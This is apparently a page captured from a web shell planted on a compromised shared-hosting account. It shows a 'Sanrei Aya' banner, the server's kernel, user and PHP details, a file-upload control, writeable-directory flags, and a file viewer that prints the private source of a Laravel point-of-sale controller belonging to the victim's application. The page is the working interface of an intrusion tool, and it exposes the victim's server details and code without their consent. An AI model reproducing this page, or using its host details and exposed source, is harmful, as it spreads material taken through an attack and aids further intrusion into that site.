Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /home/elvh3918/public_html/tenant/app/Http/Controllers/Trans/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/elvh3918/public_html/tenant/app/Http/Controllers/Trans/POSController.php
<?php

namespace App\Http\Controllers\Trans;

use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Request;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\Facades\DB;
use App\Models\Trans\POS;
use App\Models\Trans\POS_Detail;
use App\Models\Master\Tenant;
use App\Models\Accounting\Charge;
use App\Models\Accounting\VAT;
use App\Models\Accounting\Bank;
use App\Models\Trans\VW_Item_Master;
use App\Models\Admin\Settings\CommonCode;
use Illuminate\Support\Facades\Auth;
use Carbon\Carbon;

class POSController extends Controller
{
    private function call_FPSeries()
    {
        return "App\Http\Controllers\API\GlobalAPITransController";
    }

    private function create_series_pos($series) {
        $counter = POS::where('format', '=', $series->format)->count() + 1;
        return $series->format . str_pad($counter, $series->lenght, '0', STR_PAD_LEFT); 
    }

    private function tenants() {
        if (Auth::user()->model_type == 'App\Models\Bussiness') {
            return Tenant::with('vw_currency_exhange_rates')->where('is_active', '=', 1)->orderBy('name')->get();
        } else {
            return Tenant::with('vw_currency_exhange_rates')->where('is_active', '=', 1)->where('id', '=', Auth::user()->model_id)->orderBy('name')->get();
        }
    }

    /**
     * Display a listing of the resource.
     */
    public function index()
    {
        $breadcrumbs = [
            ['link' => "dashboard", 'name' => "Dashboard"], ['link' => "trans.pos.index", 'name' => "POS"]
        ];

        $data_input = [
            'tenant_id' => Request::input('tenant_id'),
            'date_from' => Request::input('date_from') ? date('Y-m-d', strtotime(Request::input('date_from'))) : date('Y-m-d', strtotime(Carbon::now()->startOfMonth())),
            'date_to' => Request::input('date_to') ? date('Y-m-d', strtotime(Request::input('date_to'))) : date('Y-m-d', strtotime(Carbon::now())),
        ];
        
        $query = POS::with('currency', 'currency_to', 'pos_details.item', 'tenant', 'payment', 'user');
        $query = $query->whereBetween('date_trans', [$data_input['date_from'], $data_input['date_to']]);
        if ($data_input['tenant_id'] == null) {
            $query = $query->where('tenant_id', -1)->get();
        } else if (intval($data_input['tenant_id']) == 0) {
            $query = $query->get();
        } else {
            $query = $query->where('tenant_id', '=', $data_input['tenant_id'])->get();
        }
        
        $tenant = $this->tenants();
        $auth_user = Auth::user();
        return view('content.trans.pos.index', compact('query', 'tenant', 'data_input', 'auth_user'), ['breadcrumbs' => $breadcrumbs]);
    }

    /**
     * Show the form for creating a new resource.
     */
    public function create(Tenant $tenant_id)
    {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != $tenant_id->id) {
            return redirect()->route('trans.pos.create', $user->model->id);
        }

        $breadcrumbs = [
            ['link' => "dashboard", 'name' => "Dashboard"], ['link' => "trans.pos.index", 'name' => "POS List"], ['link' => "trans/pos/create/$tenant_id->id", 'name' => "POS"]
        ];

        $query = [];
        $item = VW_Item_Master::with('currency')->where('item_is_active', '=', 1)->where('tenant_id', '=', $tenant_id->id)->orderBy('item_type', 'asc')->get();

        $tenant = [
            'id' => $tenant_id->id,
            'code' => $tenant_id->code,
            'name' => $tenant_id->name,
            'owner' => $tenant_id->owner,
            'address' => $tenant_id->address,
            'email' => $tenant_id->email,
            'phone' => $tenant_id->phone,
            'map' => $tenant_id->map,
            'image' => $tenant_id->image,
            'currency' => $tenant_id->load('vw_currency_exhange_rates'),
        ];

        $charge = Charge::where('is_active', '=', 1)->orderBy('date_registration', 'desc')->first();
        $vat = VAT::where('is_active', '=', 1)->orderBy('date_registration', 'desc')->first();
        $banks = Bank::select(['id', 'name', 'is_default', DB::raw("'App\\\Models\\\Accounting\\\Bank' AS model")])->where('is_active', '=', 1)->get();
        $pos_type = CommonCode::where('code', '=', 'POS_Types')->where('is_active', '=', 1)->orderBy('seq', 'asc')->get();
        $item_type = CommonCode::where('code', '=', 'Item_Types')->where('is_active', '=', 1)->orderBy('seq', 'asc')->get();

        return view('content.trans.pos.create', compact('query', 'item', 'tenant', 'charge', 'vat', 'banks', 'pos_type', 'item_type'), ['breadcrumbs' => $breadcrumbs]);
    }

    /**
     * Store a newly created resource in storage.
     */
    public function store(Request $request, Tenant $tenant_id)
    {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != $tenant_id->id) {
            return redirect()->route('trans.pos.create', $tenant_id->id)->withInput()->with('message', 'Store canceled, wrong tenant id');
        }
        
        $series = app($this->call_FPSeries())->create_series($tenant_id->id, 'pos');
        if (!$series) {
            return redirect()->route('trans.pos.create', $tenant_id->id)->withInput()->with('message', 'POS series not setup');
        }

        if (!Request::get('item')) {
            return redirect()->route('trans.pos.create', $tenant_id->id)->withInput()->with('message', 'item detail need value');
        }

        DB::beginTransaction();
        try {
            $tenant = $tenant_id->load('vw_currency_exhange_rates');
            $payment = explode(',', Request::get('payment_id'));
            $payment_type = $payment[1] == "null" ? null : $payment[1];
            $payment_id = $payment[0];

            // insert header ***************************************
            $pos = POS::create([
                'format' => $series->format,
                'series' => $this->create_series_pos($series),
                'date_trans' => date('Y-m-d', strtotime(Carbon::now())),
                'tenant_id' => $tenant_id->id,
                'user_id' => Auth::user()->id,
                'curr_id' => $tenant->curr_id,
                'curr_id_to' => $tenant->vw_currency_exhange_rates->to_curr,
                'curr_rate' => $tenant->vw_currency_exhange_rates->rate,
                'qty' => Request::get('total_qty'),
                'total' => Request::get('total_total'),
                'discount' => Request::get('total_discount'),
                'charge' => Request::get('total_charge'),
                'vat' => Request::get('total_vat'),
                'pos_type' => Request::get('pos_type'),
                'payment_type' => $payment_type,
                'payment_id' => $payment_id,
            ]);

            if (Request::get('item')) {
                foreach (Request::get('item') as $key => $value) {
                    POS_Detail::create([
                        'pos_id' => $pos->id,
                        'item_id' => $value['item_id'],
                        'qty' => $value['qty'],
                        'price' => $value['price'],
                        'discount' => $value['discount'],
                    ]);
                }
            }
    
            DB::commit();
            return redirect()->route('trans.pos.create', $tenant_id->id)->with('message', 'store success');
        } catch (\Exception $e) {
            DB::rollBack();

            return redirect()->route('trans.pos.create', $tenant_id->id)->withInput()->with('message', 'store error');
        }
    }

    /**
     * Display the specified resource.
     */
    public function show(string $id)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     */
    public function edit(string $id)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     */
    public function update(Request $request, string $id)
    {
        //
    }

    /**
     * Remove the specified resource from storage.
     */
    public function destroy(POS $pos)
    {
        $user = Auth::user()->load('model');
        if ($user->model_type == 'App\Models\Master\Tenant' && $user->model->id != $pos->tenant_id) {
            return redirect()->route('trans.pos.index')->with('message', 'delete canceled, wrong tenant id');
        }

        POS_Detail::where('pos_id', '=', $pos->id)->delete();
        $pos->delete();
        return redirect()->route('trans.pos.index')->with('message', 'delete success');
    }
}

Yohohohohohooho | Sanrei Aya